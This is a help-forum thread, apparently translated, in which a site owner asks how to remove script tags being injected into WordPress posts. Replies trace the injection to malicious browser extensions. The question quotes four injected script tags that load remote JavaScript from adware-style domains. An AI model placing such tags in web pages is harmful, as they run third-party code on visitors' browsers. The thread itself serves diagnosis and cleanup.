A strange virus on the site that adds code to the content of pages and posts, how to find and remove it?

Question

Malware

Generally. I sinned and downloaded the theme from one site (I download it often from there, there were no problems)
Recently I began to notice that when editing already published entries, a code appears in the text. It always goes at the end of the text. Since it is in script tags, I noticed it only when I switched to text editor mode.
The following code is added:

<script src="//s3.amazonaws.com/js-cache/145f309ae16975ba1c.js"></script>
<script src="http://netanalitics.space/addons/lnkr5.min.js" type="text/javascript"></script>
<script src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51859x5215x&amp;r=47" type="text/javascript"></script>
<script src="http://eluxer.net/code?id=105&amp;subid=51859_5215_" type="text/javascript"></script>

Appears randomly in pages, posts and WILL fit where there is a text editor. Is there an editor window in the plugin? It will go there too.
Somewhere there is no code yet, somewhere there is already, and somewhere there are 4 paragraphs of such heresy at once. I clean by hand from time to time.
I checked the site with antiviruses - silence. I was looking for a code by content - silence. Searching for base64 did not return any results. There were several files, but they have nothing to do with this.
There are no users other than me ( the editors of the texts also say that there were no changes after me ).
Basically, I don't know what to do. How else can I find where this code is located in order to remove it?
P.S. along the way, it harms the visitors.On some sites (on Yandex screenshots), errors with the same domains began to appear in my console. Through cookies or cache crawls
Screenshots of console errors are thrown below) If you open the screen in a new tab, everything will be visible.

Answer 1

1) search by the content of eval,
2) try to comment on js files one at a time until you find which one loads them (not the fact that js).

Answer 2

buy a legal template :)

Answer 3

I came across recently, I accidentally noticed it in the eluxer.net
console. In general, it was generated by a plugin that was on the FF for downloading music to VK
https://addons.mozilla.org/en-US/firefox/addon/vk-...
So If anyone has it, it's probably worth turning it off. To be honest, I wouldn't have noticed. if 404 errors did not fall into the console

Answer 4

Once there was a similar case. Have you tried another browser and scan your computer for viruses?

Answer 5

I have the same problem today found on 2 sites! Did the author solve the problem?
.........................
In short, the author. If you have an extension installed in chrome, to unlock VK ( https://chrome.google.com/webstore/detail/%D1%80%D... disable and check.

Answer 6

Author, did you solve the problem? I have the same problem.

Answer 7

In my case, the problem was the EQ - Audio Equalizer extension (sound mixer for chrome browser). Calculated at random. Turned off the extensions in turn, and updated the page (any) and looked at the console for loading scripts to figure out this how-be virus. Good luck everyone.